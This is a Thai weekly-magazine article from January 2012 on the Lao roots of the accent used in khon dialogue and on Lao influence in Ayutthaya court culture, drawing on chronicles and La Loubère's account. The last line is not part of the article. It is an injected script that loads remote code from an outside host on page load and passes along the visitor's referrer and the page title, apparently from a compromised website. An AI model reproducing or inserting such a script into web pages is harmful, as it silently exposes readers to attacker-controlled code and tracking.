มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 6 มกราคม 2555

 

          โขนพูดเองไม่ได้ ต้องมีคนพูดแทน เรียก “เจรจาโขน” ด้วย “เหน่อ” สำเนียงหลวงครั้งกรุงเก่า คล้ายสำเนียงสุพรรณกับสำเนียงหลวงพระบาง ที่พูดจาในชีวิตประจำวันปัจจุบันนี้

          มีพยานหลักฐานทางมานุษยวิทยาประวัติศาสตร์โบราณคดี ว่ามีการเคลื่อนย้ายคนในวัฒนธรรมลาวสองฝั่งโขงลงมาลุ่มน้ำเจ้าพระยา ทำให้สำเนียงพูดอย่างเดียวกัน มีพยานหลักฐานหลายอย่าง ดังนี้

 

ลาว ในลุ่มน้ำเจ้าพระยาโบราณ

          เหตุที่คนไทยสยามลุ่มน้ำเจ้าพระยาพูดจาภาษาไทยสำเนียงลาว ก็เพราะมีบรรพชนลาวเคลื่อนย้ายไปมาระหว่างสองฝั่งโขงกับลุ่มน้ำเจ้าพระยา ไม่น้อยกว่า 2,000 ปีมาแล้ว

          มีร่องรอยเป็นตำนานอยู่ในคำบอกเล่าชาวกรุงศรีอยุธยา (ยุคก่อน พ.ศ. 2000) ต่อมาลาลูแบร์ราชทูตฝรั่งเศสบันทึกไว้เป็นใจความสรุปว่า

          มีเจ้านาย “ไทยน้อย” (ลาว) พาไพร่พลเคลื่อนย้ายจากสองฝั่งโขงลงมาทางเขต จ. เลย ถึงเมืองนครไทย (อ. นครไทย จ. พิษณุโลก) แล้วลงไปก่อบ้านสร้างเมืองอยู่ลุ่มน้ำน่าน (เขตทุ่งยั้ง จ. อุตรดิตถ์) ต่อมาเคลื่อนย้ายลงไปทางทิศใต้ ฟากตะวันตกของแม่น้ำเจ้าพระยา อยู่เมืองเพชรบุรี ไม่นานก็ยกไปสร้างกรุงศรีอยุธยา

          ชาวกรุงศรีอยุธยาบอกลาลูแบร์อีกว่าเรียกตัวเองเป็น “คนไทย” แต่มีบรรพชนเป็นไทยน้อยก็คือลาวสองฝั่งโขง

สอดคล้องกับตำนานในพงศาวดารล้านช้าง ตอนขุนบูลม (บรม) เป็นเจ้าเมืองหลวงพระบาง (ล้านช้าง) ให้ลูกชาย 7 คน “แยกครัว” ไปสร้างบ้านแปลงเมืองอยู่ทิศทางต่างๆ

          งัวอิน ลูกชายคนที่ 5 ของขุนบรม แยกครัวยกลงไปสร้างบ้านแปลงเมืองอยู่ลุ่มน้ำเจ้าพระยา แล้วเป็นเจ้านายปกครองเมืองอโยธยา-สุพรรณภูมิ (คำว่า งัว, งั่ว แปลว่า ลูกชายคนที่ 5)

          แล้วยังมีคำบอกเล่าในตำนานสิงหนวัติ ว่ามีเจ้านาย “ไทยใหญ่” Ž(ลาว) นาม สิงหนวัติ พาไพร่พลเคลื่อนย้ายข้ามน้ำแม่คง(สาละวิน) มาทางทิศตะวันออก ถึงดินแดนโยนก(จ. เชียงราย-จ. พะเยา) แล้วสืบลูกหลานต่อมาจนขัดแย้งกับคนอีกพวกหนึ่งที่อยู่มาก่อน แต่สู้ไม่ได้ เลยหนีลงไปตั้งหลักแหล่งอยู่บริเวณที่ราบระหว่างแม่น้ำน่า (จ. อุตรดิตถ์) กับแม่น้ำยม (จ. สุโขทัย) กลายเป็นตระกูล “พระร่วง” สถาปนารัฐสุโขทัย

          พระร่วงสืบเชื้อสายจากท้าวฮุ่ง ซึ่งเป็นคำลาว ตรงกับคำไทยว่า ท้าวรุ่ง คำว่า รุ่ง แผลงเป็น ร่วง ได้ หมายถึง รุ่งเรือง, รุ่งโรจน์ ก็คือนามพระร่วงนั่นเอง



พลังลาวŽ ในความเป็นไทย

          ครั้นหลัง พ.ศ. 1500 ตระกูลไทย-ลาว จากสองฝั่งโขง เคลื่อนย้ายไปตั้งหลักแหล่งบริเวณลุ่มน้ำเจ้าพระยา เป็นสามัญชนชาวไร่ชาวนามีมากขึ้นจนกลายเป็นประชากรส่วนหนึ่งของรัฐสมัยนั้น แล้วคนบางตระกูลเติบโตมีฐานะทางสังคมสูงขึ้น

          ระหว่าง พ.ศ. 1890-1893 กาฬโรค (ห่า) ระบาด มีผู้คนล้มหายตายกว่านับไม่ถ้วน โดยเฉพาะเจ้านายชนชั้นสูงที่มีบ้านเรือนรั้ววังหนาแน่นอยู่ในเมือง

          เมื่อโรคระบาดหมดไป พวกไทย-ลาวที่มีฐานะทางสังคมสูงมาก่อน ก็เรืองอำนาจขึ้นแทนเจ้านายรุ่นเก่าที่ล้มตายเกือบหมด ส่งผลให้ภาษาไทยสำเนียงลาวทวีความสำคัญ แล้วได้รับยกย่องเป็นภาษาทางการ จนมีอักษรที่วิวัฒนาการจาก “อักษรขอม” (Ž(เขมร) ขึ้นใช้เอง

          ต่อจากนั้น “พลังลาวŽ” ก็ผลักดันสร้างสรรค์วัฒนธรรมลาวอยู่ในราชสำนัก เช่น โองการแช่งน้ำ, ยกย่องแถน, ตลอดจนการละเล่น เช่น ขับเสภา, ระเบ็ง

          1. โองการแช่งน้ำ แต่งด้วยฉันทลักษณ์สองฝั่งโขง ใช้อ่านเป็นทำนองในพิธีทำสัตย์สาบานต่อพระพักตร์พระเจ้าแผ่นดิน ด้วย “สำเนียงลาว” เพราะเจ้านาย, ทหาร, ขุนนาง, ข้าราชการ ล้วนเป็นคนในวัฒนธรรมสองฝั่งโขง ที่อยู่ปะปนรวมตระกูลมอญ-เขมร ลุ่มน้ำเจ้าพระยา

          2. แถน  โองการแช่งน้ำ เรียกพระพรหม ว่า ขุนแผน ตรงนี้คือแถน ผีฟ้าผู้สร้างโลก, คน, และทุกสิ่งทุกอย่างในวัฒนธรรมลาว แต่เมื่อมาอยู่ลุ่มน้ำเจ้าพระยาภาคกลางแล้วออกเสียงเพี้ยนเป็น แผน

          3. ขับเสภาพร้อมขยับกรับมีพัฒนาการมาจากประเพณีขับลำคำขับของชาวบ้านในวัฒนธรรมลาว เช่น ขับซอ และหมอลำ ฯลฯ

          4. ระเบ็ง ราชสำนักก่อนสมัยกรุงศรีอยุธยายกย่องประเพณีเซิ้งของชุมชนในวัฒนธรรมลาวไปปรุงให้ประณีตเพื่อใช้ในการละเล่นในพิธีหลวง เรียก ระเบ็ง หรือ โอละพ่อ

 

ภาษาไทยสำเนียงลาว

          คนไทยสยามลุ่มน้ำเจ้าพระยาราวหลัง พ.ศ. 1500 พูดจาภาษาไทยด้วยสำเนียงลาว ใกล้ชิดไปทางหลวงพระบาง

          พระเจ้าแผ่นดินกรุงศรีอยุธยาก็ตรัสคำไทยสำเนียงลาว มีร่องรอยอยู่ในคำ “เจรจาโขน”Ž เป็นขนบสืบเนื่องจนถึงทุกวันนี้จะเปลี่ยนแปลงมิได้ (เพราะเป็นเครื่องราชูปโภคของพระเจ้าแผ่นดิน)

          ฉะนั้นคนเจรจาโขน (กรมศิลปากร) ปัจจุบันต้องฝึกหัดดัดสำเนียงให้ “เหน่อ”เหมือนขนบเดิมครั้งกรุงเก่า แต่ตรงกันกับสำเนียงพูดของคนทางฟากฝั่งตะวันตกลุ่มน้ำเจ้าพระยา นับแต่อุตรดิตถ์, พิษณุโลก, สุโขทัย, กำแพงเพชร, พิจิตร, นครสวรรค์ ลงมาถึงชัยนาท, สิงห์บุรี, อ่างทอง ตลอดจนนครปฐม, ราชบุรี, เพชรบุรี, ฯลฯ

          แต่ที่รู้จักแพร่หลายที่สุดก็คือในนามสำเนียงสุพรรณ ที่ถูกคนอื่นๆ โดยเฉพาะคนกรุงเทพฯ เรียกอย่างดูถูกว่า “เหน่อŽ”

 

ระเบ็ง (หรือ โอละพ่อ) ในราชสำนักกรุงศรีอยุธยามาจากเซิ้งในวัฒนธรรมลาว (ภาพจาก ลักษณะไทย เล่ม 3 ธนาคารกรุงเทพ จัดพิมพ์เมื่อ พ.ศ. 2551)

ครูแจ้ง คล้ายสีทอง ขับเสภาที่มีต้นแบบจากขับลำในวัฒนธรรมลาว (ภาพจาก ห้องสมุดกองบรรณาธิการศิลปวัฒนธรรม)

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);